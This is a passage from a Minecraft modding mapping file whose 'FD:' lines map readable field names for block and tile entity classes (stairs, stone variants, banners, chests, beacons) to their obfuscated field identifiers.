net/minecraft/block/BlockSandStone$EnumType/$VALUES net/minecraft/block/BlockSandStone$EnumType/$VALUES +FD: net/minecraft/block/BlockSandStone/TYPE net/minecraft/block/BlockSandStone/field_176297_a +FD: net/minecraft/block/BlockSapling$1/field_177065_a net/minecraft/block/BlockSapling$1/field_177065_a +FD: net/minecraft/block/BlockSapling/TYPE net/minecraft/block/BlockSapling/field_176480_a +FD: net/minecraft/block/BlockSapling/STAGE net/minecraft/block/BlockSapling/field_176479_b +FD: net/minecraft/block/BlockSkull$2/field_177063_a net/minecraft/block/BlockSkull$2/field_177063_a +FD: net/minecraft/block/BlockSkull/IS_WITHER_SKELETON net/minecraft/block/BlockSkull/field_176419_M +FD: net/minecraft/block/BlockSkull/witherBasePattern net/minecraft/block/BlockSkull/field_176420_N +FD: net/minecraft/block/BlockSkull/witherPattern net/minecraft/block/BlockSkull/field_176421_O +FD: net/minecraft/block/BlockSkull/FACING net/minecraft/block/BlockSkull/field_176418_a +FD: net/minecraft/block/BlockSkull/NODROP net/minecraft/block/BlockSkull/field_176417_b +FD: net/minecraft/block/BlockSnow/LAYERS net/minecraft/block/BlockSnow/field_176315_a +FD: net/minecraft/block/BlockSponge/WET net/minecraft/block/BlockSponge/field_176313_a +FD: net/minecraft/block/BlockStainedGlass/COLOR net/minecraft/block/BlockStainedGlass/field_176547_a +FD: net/minecraft/block/BlockStainedGlassPane/COLOR net/minecraft/block/BlockStainedGlassPane/field_176245_a +FD: net/minecraft/block/BlockStairs$EnumHalf/TOP net/minecraft/block/BlockStairs$EnumHalf/TOP +FD: net/minecraft/block/BlockStairs$EnumHalf/BOTTOM net/minecraft/block/BlockStairs$EnumHalf/BOTTOM +FD: net/minecraft/block/BlockStairs$EnumHalf/name net/minecraft/block/BlockStairs$EnumHalf/field_176709_c +FD: net/minecraft/block/BlockStairs$EnumHalf/$VALUES net/minecraft/block/BlockStairs$EnumHalf/$VALUES +FD: net/minecraft/block/BlockStairs$EnumShape/STRAIGHT net/minecraft/block/BlockStairs$EnumShape/STRAIGHT +FD: net/minecraft/block/BlockStairs$EnumShape/INNER_LEFT net/minecraft/block/BlockStairs$EnumShape/INNER_LEFT +FD: net/minecraft/block/BlockStairs$EnumShape/INNER_RIGHT net/minecraft/block/BlockStairs$EnumShape/INNER_RIGHT +FD: net/minecraft/block/BlockStairs$EnumShape/OUTER_LEFT net/minecraft/block/BlockStairs$EnumShape/OUTER_LEFT +FD: net/minecraft/block/BlockStairs$EnumShape/OUTER_RIGHT net/minecraft/block/BlockStairs$EnumShape/OUTER_RIGHT +FD: net/minecraft/block/BlockStairs$EnumShape/name net/minecraft/block/BlockStairs$EnumShape/field_176699_f +FD: net/minecraft/block/BlockStairs$EnumShape/$VALUES net/minecraft/block/BlockStairs$EnumShape/$VALUES +FD: net/minecraft/block/BlockStairs/SHAPE net/minecraft/block/BlockStairs/field_176310_M +FD: net/minecraft/block/BlockStairs/field_150150_a net/minecraft/block/BlockStairs/field_150150_a +FD: net/minecraft/block/BlockStairs/modelBlock net/minecraft/block/BlockStairs/field_150149_b +FD: net/minecraft/block/BlockStairs/modelState net/minecraft/block/BlockStairs/field_150151_M +FD: net/minecraft/block/BlockStairs/hasRaytraced net/minecraft/block/BlockStairs/field_150152_N +FD: net/minecraft/block/BlockStairs/rayTracePass net/minecraft/block/BlockStairs/field_150153_O +FD: net/minecraft/block/BlockStairs/FACING net/minecraft/block/BlockStairs/field_176309_a +FD: net/minecraft/block/BlockStairs/HALF net/minecraft/block/BlockStairs/field_176308_b +FD: net/minecraft/block/BlockStandingSign/ROTATION net/minecraft/block/BlockStandingSign/field_176413_a +FD: net/minecraft/block/BlockStem/crop net/minecraft/block/BlockStem/field_149877_a +FD: net/minecraft/block/BlockStem/AGE net/minecraft/block/BlockStem/field_176484_a +FD: net/minecraft/block/BlockStem/FACING net/minecraft/block/BlockStem/field_176483_b +FD: net/minecraft/block/BlockStone$EnumType/STONE net/minecraft/block/BlockStone$EnumType/STONE +FD: net/minecraft/block/BlockStone$EnumType/GRANITE net/minecraft/block/BlockStone$EnumType/GRANITE +FD: net/minecraft/block/BlockStone$EnumType/GRANITE_SMOOTH net/minecraft/block/BlockStone$EnumType/GRANITE_SMOOTH +FD: net/minecraft/block/BlockStone$EnumType/DIORITE net/minecraft/block/BlockStone$EnumType/DIORITE +FD: net/minecraft/block/BlockStone$EnumType/DIORITE_SMOOTH net/minecraft/block/BlockStone$EnumType/DIORITE_SMOOTH +FD: net/minecraft/block/BlockStone$EnumType/ANDESITE net/minecraft/block/BlockStone$EnumType/ANDESITE +FD: net/minecraft/block/BlockStone$EnumType/ANDESITE_SMOOTH net/minecraft/block/BlockStone$EnumType/ANDESITE_SMOOTH +FD: net/minecraft/block/BlockStone$EnumType/META_LOOKUP net/minecraft/block/BlockStone$EnumType/field_176655_h +FD: net/minecraft/block/BlockStone$EnumType/meta net/minecraft/block/BlockStone$EnumType/field_176656_i +FD: net/minecraft/block/BlockStone$EnumType/name net/minecraft/block/BlockStone$EnumType/field_176653_j +FD: net/minecraft/block/BlockStone$EnumType/unlocalizedName net/minecraft/block/BlockStone$EnumType/field_176654_k +FD: net/minecraft/block/BlockStone$EnumType/field_181073_l net/minecraft/block/BlockStone$EnumType/field_181073_l +FD: net/minecraft/block/BlockStone$EnumType/$VALUES net/minecraft/block/BlockStone$EnumType/$VALUES +FD: net/minecraft/block/BlockStone/VARIANT net/minecraft/block/BlockStone/field_176247_a +FD: net/minecraft/block/BlockStoneBrick$EnumType/DEFAULT net/minecraft/block/BlockStoneBrick$EnumType/DEFAULT +FD: net/minecraft/block/BlockStoneBrick$EnumType/MOSSY net/minecraft/block/BlockStoneBrick$EnumType/MOSSY +FD: net/minecraft/block/BlockStoneBrick$EnumType/CRACKED net/minecraft/block/BlockStoneBrick$EnumType/CRACKED +FD: net/minecraft/block/BlockStoneBrick$EnumType/CHISELED net/minecraft/block/BlockStoneBrick$EnumType/CHISELED +FD: net/minecraft/block/BlockStoneBrick$EnumType/META_LOOKUP net/minecraft/block/BlockStoneBrick$EnumType/field_176618_e +FD: net/minecraft/block/BlockStoneBrick$EnumType/meta net/minecraft/block/BlockStoneBrick$EnumType/field_176615_f +FD: net/minecraft/block/BlockStoneBrick$EnumType/name net/minecraft/block/BlockStoneBrick$EnumType/field_176616_g +FD: net/minecraft/block/BlockStoneBrick$EnumType/unlocalizedName net/minecraft/block/BlockStoneBrick$EnumType/field_176622_h +FD: net/minecraft/block/BlockStoneBrick$EnumType/$VALUES net/minecraft/block/BlockStoneBrick$EnumType/$VALUES +FD: net/minecraft/block/BlockStoneBrick/MOSSY_META net/minecraft/block/BlockStoneBrick/field_176250_M +FD: net/minecraft/block/BlockStoneBrick/CRACKED_META net/minecraft/block/BlockStoneBrick/field_176251_N +FD: net/minecraft/block/BlockStoneBrick/CHISELED_META net/minecraft/block/BlockStoneBrick/field_176252_O +FD: net/minecraft/block/BlockStoneBrick/VARIANT net/minecraft/block/BlockStoneBrick/field_176249_a +FD: net/minecraft/block/BlockStoneBrick/DEFAULT_META net/minecraft/block/BlockStoneBrick/field_176248_b +FD: net/minecraft/block/BlockStoneSlab$EnumType/STONE net/minecraft/block/BlockStoneSlab$EnumType/STONE +FD: net/minecraft/block/BlockStoneSlab$EnumType/SAND net/minecraft/block/BlockStoneSlab$EnumType/SAND +FD: net/minecraft/block/BlockStoneSlab$EnumType/WOOD net/minecraft/block/BlockStoneSlab$EnumType/WOOD +FD: net/minecraft/block/BlockStoneSlab$EnumType/COBBLESTONE net/minecraft/block/BlockStoneSlab$EnumType/COBBLESTONE +FD: net/minecraft/block/BlockStoneSlab$EnumType/BRICK net/minecraft/block/BlockStoneSlab$EnumType/BRICK +FD: net/minecraft/block/BlockStoneSlab$EnumType/SMOOTHBRICK net/minecraft/block/BlockStoneSlab$EnumType/SMOOTHBRICK +FD: net/minecraft/block/BlockStoneSlab$EnumType/NETHERBRICK net/minecraft/block/BlockStoneSlab$EnumType/NETHERBRICK +FD: net/minecraft/block/BlockStoneSlab$EnumType/QUARTZ net/minecraft/block/BlockStoneSlab$EnumType/QUARTZ +FD: net/minecraft/block/BlockStoneSlab$EnumType/META_LOOKUP net/minecraft/block/BlockStoneSlab$EnumType/field_176640_i +FD: net/minecraft/block/BlockStoneSlab$EnumType/meta net/minecraft/block/BlockStoneSlab$EnumType/field_176637_j +FD: net/minecraft/block/BlockStoneSlab$EnumType/field_181075_k net/minecraft/block/BlockStoneSlab$EnumType/field_181075_k +FD: net/minecraft/block/BlockStoneSlab$EnumType/name net/minecraft/block/BlockStoneSlab$EnumType/field_176638_k +FD: net/minecraft/block/BlockStoneSlab$EnumType/unlocalizedName net/minecraft/block/BlockStoneSlab$EnumType/field_176635_l +FD: net/minecraft/block/BlockStoneSlab$EnumType/$VALUES net/minecraft/block/BlockStoneSlab$EnumType/$VALUES +FD: net/minecraft/block/BlockStoneSlab/VARIANT net/minecraft/block/BlockStoneSlab/field_176556_M +FD: net/minecraft/block/BlockStoneSlab/SEAMLESS net/minecraft/block/BlockStoneSlab/field_176555_b +FD: net/minecraft/block/BlockTallGrass$EnumType/DEAD_BUSH net/minecraft/block/BlockTallGrass$EnumType/DEAD_BUSH +FD: net/minecraft/block/BlockTallGrass$EnumType/GRASS net/minecraft/block/BlockTallGrass$EnumType/GRASS +FD: net/minecraft/block/BlockTallGrass$EnumType/FERN net/minecraft/block/BlockTallGrass$EnumType/FERN +FD: net/minecraft/block/BlockTallGrass$EnumType/META_LOOKUP net/minecraft/block/BlockTallGrass$EnumType/field_177048_d +FD: net/minecraft/block/BlockTallGrass$EnumType/meta net/minecraft/block/BlockTallGrass$EnumType/field_177049_e +FD: net/minecraft/block/BlockTallGrass$EnumType/name net/minecraft/block/BlockTallGrass$EnumType/field_177046_f +FD: net/minecraft/block/BlockTallGrass$EnumType/$VALUES net/minecraft/block/BlockTallGrass$EnumType/$VALUES +FD: net/minecraft/block/BlockTallGrass/TYPE net/minecraft/block/BlockTallGrass/field_176497_a +FD: net/minecraft/block/BlockPane/EAST net/minecraft/block/BlockPane/field_176242_M +FD: net/minecraft/block/BlockPane/SOUTH net/minecraft/block/BlockPane/field_176243_N +FD: net/minecraft/block/BlockPane/WEST net/minecraft/block/BlockPane/field_176244_O +FD: net/minecraft/block/BlockPane/canDrop net/minecraft/block/BlockPane/field_150099_b +FD: net/minecraft/block/BlockPane/NORTH net/minecraft/block/BlockPane/field_176241_b +FD: net/minecraft/block/BlockTNT/EXPLODE net/minecraft/block/BlockTNT/field_176246_a +FD: net/minecraft/block/BlockTorch$2/field_176609_a net/minecraft/block/BlockTorch$2/field_176609_a +FD: net/minecraft/block/BlockTorch/FACING net/minecraft/block/BlockTorch/field_176596_a +FD: net/minecraft/block/BlockLeavesBase/fancyGraphics net/minecraft/block/BlockLeavesBase/field_150121_P +FD: net/minecraft/block/BlockTrapDoor$1/field_177058_a net/minecraft/block/BlockTrapDoor$1/field_177058_a +FD: net/minecraft/block/BlockTrapDoor$DoorHalf/TOP net/minecraft/block/BlockTrapDoor$DoorHalf/TOP +FD: net/minecraft/block/BlockTrapDoor$DoorHalf/BOTTOM net/minecraft/block/BlockTrapDoor$DoorHalf/BOTTOM +FD: net/minecraft/block/BlockTrapDoor$DoorHalf/name net/minecraft/block/BlockTrapDoor$DoorHalf/field_176671_c +FD: net/minecraft/block/BlockTrapDoor$DoorHalf/$VALUES net/minecraft/block/BlockTrapDoor$DoorHalf/$VALUES +FD: net/minecraft/block/BlockTrapDoor/HALF net/minecraft/block/BlockTrapDoor/field_176285_M +FD: net/minecraft/block/BlockTrapDoor/FACING net/minecraft/block/BlockTrapDoor/field_176284_a +FD: net/minecraft/block/BlockTrapDoor/OPEN net/minecraft/block/BlockTrapDoor/field_176283_b +FD: net/minecraft/block/BlockTripWire/ATTACHED net/minecraft/block/BlockTripWire/field_176294_M +FD: net/minecraft/block/BlockTripWire/DISARMED net/minecraft/block/BlockTripWire/field_176295_N +FD: net/minecraft/block/BlockTripWire/NORTH net/minecraft/block/BlockTripWire/field_176296_O +FD: net/minecraft/block/BlockTripWire/EAST net/minecraft/block/BlockTripWire/field_176291_P +FD: net/minecraft/block/BlockTripWire/SOUTH net/minecraft/block/BlockTripWire/field_176289_Q +FD: net/minecraft/block/BlockTripWire/WEST net/minecraft/block/BlockTripWire/field_176292_R +FD: net/minecraft/block/BlockTripWire/POWERED net/minecraft/block/BlockTripWire/field_176293_a +FD: net/minecraft/block/BlockTripWire/SUSPENDED net/minecraft/block/BlockTripWire/field_176290_b +FD: net/minecraft/block/BlockTripWireHook$1/field_177056_a net/minecraft/block/BlockTripWireHook$1/field_177056_a +FD: net/minecraft/block/BlockTripWireHook/ATTACHED net/minecraft/block/BlockTripWireHook/field_176265_M +FD: net/minecraft/block/BlockTripWireHook/SUSPENDED net/minecraft/block/BlockTripWireHook/field_176266_N +FD: net/minecraft/block/BlockTripWireHook/FACING net/minecraft/block/BlockTripWireHook/field_176264_a +FD: net/minecraft/block/BlockTripWireHook/POWERED net/minecraft/block/BlockTripWireHook/field_176263_b +FD: net/minecraft/block/BlockVine$1/field_177057_a net/minecraft/block/BlockVine$1/field_177057_a +FD: net/minecraft/block/BlockVine/EAST net/minecraft/block/BlockVine/field_176278_M +FD: net/minecraft/block/BlockVine/SOUTH net/minecraft/block/BlockVine/field_176279_N +FD: net/minecraft/block/BlockVine/WEST net/minecraft/block/BlockVine/field_176280_O +FD: net/minecraft/block/BlockVine/ALL_FACES net/minecraft/block/BlockVine/field_176274_P +FD: net/minecraft/block/BlockVine/UP net/minecraft/block/BlockVine/field_176277_a +FD: net/minecraft/block/BlockVine/NORTH net/minecraft/block/BlockVine/field_176273_b +FD: net/minecraft/block/BlockWall$EnumType/NORMAL net/minecraft/block/BlockWall$EnumType/NORMAL +FD: net/minecraft/block/BlockWall$EnumType/MOSSY net/minecraft/block/BlockWall$EnumType/MOSSY +FD: net/minecraft/block/BlockWall$EnumType/META_LOOKUP net/minecraft/block/BlockWall$EnumType/field_176666_c +FD: net/minecraft/block/BlockWall$EnumType/meta net/minecraft/block/BlockWall$EnumType/field_176663_d +FD: net/minecraft/block/BlockWall$EnumType/name net/minecraft/block/BlockWall$EnumType/field_176664_e +FD: net/minecraft/block/BlockWall$EnumType/unlocalizedName net/minecraft/block/BlockWall$EnumType/field_176661_f +FD: net/minecraft/block/BlockWall$EnumType/$VALUES net/minecraft/block/BlockWall$EnumType/$VALUES +FD: net/minecraft/block/BlockWall/EAST net/minecraft/block/BlockWall/field_176257_M +FD: net/minecraft/block/BlockWall/SOUTH net/minecraft/block/BlockWall/field_176258_N +FD: net/minecraft/block/BlockWall/WEST net/minecraft/block/BlockWall/field_176259_O +FD: net/minecraft/block/BlockWall/VARIANT net/minecraft/block/BlockWall/field_176255_P +FD: net/minecraft/block/BlockWall/UP net/minecraft/block/BlockWall/field_176256_a +FD: net/minecraft/block/BlockWall/NORTH net/minecraft/block/BlockWall/field_176254_b +FD: net/minecraft/block/BlockWallSign$1/field_177331_a net/minecraft/block/BlockWallSign$1/field_177331_a +FD: net/minecraft/block/BlockWallSign/FACING net/minecraft/block/BlockWallSign/field_176412_a +FD: net/minecraft/block/BlockPressurePlateWeighted/POWER net/minecraft/block/BlockPressurePlateWeighted/field_176579_a +FD: net/minecraft/block/BlockPressurePlateWeighted/field_150068_a net/minecraft/block/BlockPressurePlateWeighted/field_150068_a +FD: net/minecraft/block/BlockWoodSlab/VARIANT net/minecraft/block/BlockWoodSlab/field_176557_b +FD: net/minecraft/block/BlockCarpet/COLOR net/minecraft/block/BlockCarpet/field_176330_a +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/HALF_VERTICAL net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/HALF_VERTICAL +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/HALF_HORIZONTAL net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/HALF_HORIZONTAL +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/HALF_VERTICAL_MIRROR net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/HALF_VERTICAL_MIRROR +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/HALF_HORIZONTAL_MIRROR net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/HALF_HORIZONTAL_MIRROR +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/BORDER net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/BORDER +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/CURLY_BORDER net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/CURLY_BORDER +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/CREEPER net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/CREEPER +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/GRADIENT net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/GRADIENT +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/GRADIENT_UP net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/GRADIENT_UP +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/BRICKS net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/BRICKS +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/SKULL net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/SKULL +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/FLOWER net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/FLOWER +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/MOJANG net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/MOJANG +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/patternName net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/field_177284_N +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/patternID net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/field_177285_O +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/craftingLayers net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/field_177291_P +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/patternCraftingStack net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/field_177290_Q +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/$VALUES net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/$VALUES +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/BASE net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/BASE +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/SQUARE_BOTTOM_LEFT net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/SQUARE_BOTTOM_LEFT +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/SQUARE_BOTTOM_RIGHT net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/SQUARE_BOTTOM_RIGHT +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/SQUARE_TOP_LEFT net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/SQUARE_TOP_LEFT +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/SQUARE_TOP_RIGHT net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/SQUARE_TOP_RIGHT +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/STRIPE_BOTTOM net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/STRIPE_BOTTOM +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/STRIPE_TOP net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/STRIPE_TOP +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/STRIPE_LEFT net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/STRIPE_LEFT +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/STRIPE_RIGHT net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/STRIPE_RIGHT +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/STRIPE_CENTER net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/STRIPE_CENTER +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/STRIPE_MIDDLE net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/STRIPE_MIDDLE +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/STRIPE_DOWNRIGHT net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/STRIPE_DOWNRIGHT +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/STRIPE_DOWNLEFT net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/STRIPE_DOWNLEFT +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/STRIPE_SMALL net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/STRIPE_SMALL +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/CROSS net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/CROSS +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/STRAIGHT_CROSS net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/STRAIGHT_CROSS +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/TRIANGLE_BOTTOM net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/TRIANGLE_BOTTOM +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/TRIANGLE_TOP net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/TRIANGLE_TOP +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/TRIANGLES_BOTTOM net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/TRIANGLES_BOTTOM +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/TRIANGLES_TOP net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/TRIANGLES_TOP +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/DIAGONAL_LEFT net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/DIAGONAL_LEFT +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/DIAGONAL_RIGHT net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/DIAGONAL_RIGHT +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/DIAGONAL_LEFT_MIRROR net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/DIAGONAL_LEFT_MIRROR +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/DIAGONAL_RIGHT_MIRROR net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/DIAGONAL_RIGHT_MIRROR +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/CIRCLE_MIDDLE net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/CIRCLE_MIDDLE +FD: net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/RHOMBUS_MIDDLE net/minecraft/tileentity/TileEntityBanner$EnumBannerPattern/RHOMBUS_MIDDLE +FD: net/minecraft/tileentity/TileEntityBanner/baseColor net/minecraft/tileentity/TileEntityBanner/field_175120_a +FD: net/minecraft/tileentity/TileEntityBanner/patterns net/minecraft/tileentity/TileEntityBanner/field_175118_f +FD: net/minecraft/tileentity/TileEntityBanner/field_175119_g net/minecraft/tileentity/TileEntityBanner/field_175119_g +FD: net/minecraft/tileentity/TileEntityBanner/patternList net/minecraft/tileentity/TileEntityBanner/field_175122_h +FD: net/minecraft/tileentity/TileEntityBanner/colorList net/minecraft/tileentity/TileEntityBanner/field_175123_i +FD: net/minecraft/tileentity/TileEntityBanner/patternResourceLocation net/minecraft/tileentity/TileEntityBanner/field_175121_j +FD: net/minecraft/tileentity/TileEntityBeacon$BeamSegment/colors net/minecraft/tileentity/TileEntityBeacon$BeamSegment/field_177266_a +FD: net/minecraft/tileentity/TileEntityBeacon$BeamSegment/height net/minecraft/tileentity/TileEntityBeacon$BeamSegment/field_177265_b +FD: net/minecraft/tileentity/TileEntityBeacon/effectsList net/minecraft/tileentity/TileEntityBeacon/field_146009_a +FD: net/minecraft/tileentity/TileEntityBeacon/beamSegments net/minecraft/tileentity/TileEntityBeacon/field_174909_f +FD: net/minecraft/tileentity/TileEntityBeacon/beamRenderCounter net/minecraft/tileentity/TileEntityBeacon/field_146016_i +FD: net/minecraft/tileentity/TileEntityBeacon/field_146014_j net/minecraft/tileentity/TileEntityBeacon/field_146014_j +FD: net/minecraft/tileentity/TileEntityBeacon/isComplete net/minecraft/tileentity/TileEntityBeacon/field_146015_k +FD: net/minecraft/tileentity/TileEntityBeacon/levels net/minecraft/tileentity/TileEntityBeacon/field_146012_l +FD: net/minecraft/tileentity/TileEntityBeacon/primaryEffect net/minecraft/tileentity/TileEntityBeacon/field_146013_m +FD: net/minecraft/tileentity/TileEntityBeacon/secondaryEffect net/minecraft/tileentity/TileEntityBeacon/field_146010_n +FD: net/minecraft/tileentity/TileEntityBeacon/payment net/minecraft/tileentity/TileEntityBeacon/field_146011_o +FD: net/minecraft/tileentity/TileEntityBeacon/customName net/minecraft/tileentity/TileEntityBeacon/field_146008_p +FD: net/minecraft/tileentity/TileEntity$1/field_150830_a net/minecraft/tileentity/TileEntity$1/field_150830_a +FD: net/minecraft/tileentity/TileEntity$2/field_150832_a net/minecraft/tileentity/TileEntity$2/field_150832_a +FD: net/minecraft/tileentity/TileEntity$3/field_150834_a net/minecraft/tileentity/TileEntity$3/field_150834_a +FD: net/minecraft/tileentity/TileEntity/logger net/minecraft/tileentity/TileEntity/field_145852_a +FD: net/minecraft/tileentity/TileEntity/worldObj net/minecraft/tileentity/TileEntity/field_145850_b +FD: net/minecraft/tileentity/TileEntity/pos net/minecraft/tileentity/TileEntity/field_174879_c +FD: net/minecraft/tileentity/TileEntity/tileEntityInvalid net/minecraft/tileentity/TileEntity/field_145846_f +FD: net/minecraft/tileentity/TileEntity/blockType net/minecraft/tileentity/TileEntity/field_145854_h +FD: net/minecraft/tileentity/TileEntity/nameToClassMap net/minecraft/tileentity/TileEntity/field_145855_i +FD: net/minecraft/tileentity/TileEntity/classToNameMap net/minecraft/tileentity/TileEntity/field_145853_j +FD: net/minecraft/tileentity/TileEntity/blockMetadata net/minecraft/tileentity/TileEntity/field_145847_g +FD: net/minecraft/tileentity/TileEntityBrewingStand/inputSlots net/minecraft/tileentity/TileEntityBrewingStand/field_145941_a +FD: net/minecraft/tileentity/TileEntityBrewingStand/outputSlots net/minecraft/tileentity/TileEntityBrewingStand/field_145947_i +FD: net/minecraft/tileentity/TileEntityBrewingStand/brewingItemStacks net/minecraft/tileentity/TileEntityBrewingStand/field_145945_j +FD: net/minecraft/tileentity/TileEntityBrewingStand/brewTime net/minecraft/tileentity/TileEntityBrewingStand/field_145946_k +FD: net/minecraft/tileentity/TileEntityBrewingStand/filledSlots net/minecraft/tileentity/TileEntityBrewingStand/field_145943_l +FD: net/minecraft/tileentity/TileEntityBrewingStand/ingredientID net/minecraft/tileentity/TileEntityBrewingStand/field_145944_m +FD: net/minecraft/tileentity/TileEntityBrewingStand/customName net/minecraft/tileentity/TileEntityBrewingStand/field_145942_n +FD: net/minecraft/tileentity/TileEntityChest$1/field_177366_a net/minecraft/tileentity/TileEntityChest$1/field_177366_a +FD: net/minecraft/tileentity/TileEntityChest/adjacentChestChecked net/minecraft/tileentity/TileEntityChest/field_145984_a +FD: net/minecraft/tileentity/TileEntityChest/adjacentChestZNeg net/minecraft/tileentity/TileEntityChest/field_145992_i +FD: net/minecraft/tileentity/TileEntityChest/adjacentChestXPos net/minecraft/tileentity/TileEntityChest/field_145990_j +FD: net/minecraft/tileentity/TileEntityChest/adjacentChestXNeg net/minecraft/tileentity/TileEntityChest/field_145991_k +FD: net/minecraft/tileentity/TileEntityChest/adjacentChestZPos net/minecraft/tileentity/TileEntityChest/field_145988_l +FD: net/minecraft/tileentity/TileEntityChest/lidAngle net/minecraft/tileentity/TileEntityChest/field_145989_m +FD: net/minecraft/tileentity/TileEntityChest/prevLidAngle net/minecraft/tileentity/TileEntityChest/field_145986_n +FD: net/minecraft/tileentity/TileEntityChest/numPlayersUsing net/minecraft/tileentity/TileEntityChest/field_145987_o +FD: net/minecraft/tileentity/TileEntityChest/chestContents net/minecraft/tileentity/TileEntityChest/field_145985_p +FD: net/minecraft/tileentity/TileEntityChest/ticksSinceSync net/minecraft/tileentity/TileEntityChest/field_145983_q +FD: net/minecraft/tileentity/TileEntityChest/cachedChestType net/minecraft/tileentity/TileEntityChest/field_145982_r +FD: net/minecraft/tileentity/TileEntityChest/customName net/minecraft/tileentity/TileEntityChest/field_145981_s +FD: net/minecraft/tileentity/TileEntityCommandBlock$1/field_145767_a net/minecraft/tileentity/TileEntityCommandBlock$1/field_145767_a +FD: net/minecraft/tileentity/TileEntityCommandBlock/commandBlockLogic net/minecraft/tileentity/TileEntityCommandBlock/field_145994_a +FD: net/minecraft/tileentity/TileEntityComparator/outputSignal net/minecraft/tileentity/TileEntityComparator/field_145997_a +FD: net/minecraft/tileentity/TileEntityDispenser/customName net/minecraft/tileentity/TileEntityDispenser/field_146020_a +FD: net/minecraft/tileentity/TileEntityDispenser/RNG net/minecraft/tileentity/TileEntityDispenser/field_174913_f +FD: net/minecraft/tileentity/TileEntityDispenser/stacks net/minecraft/tileentity/TileEntityDispenser/field_146022_i +FD: net/minecraft/tileentity/TileEntityEnchantmentTable/tickCount net/minecraft/tileentity/TileEntityEnchantmentTable/field_145926_a +FD: 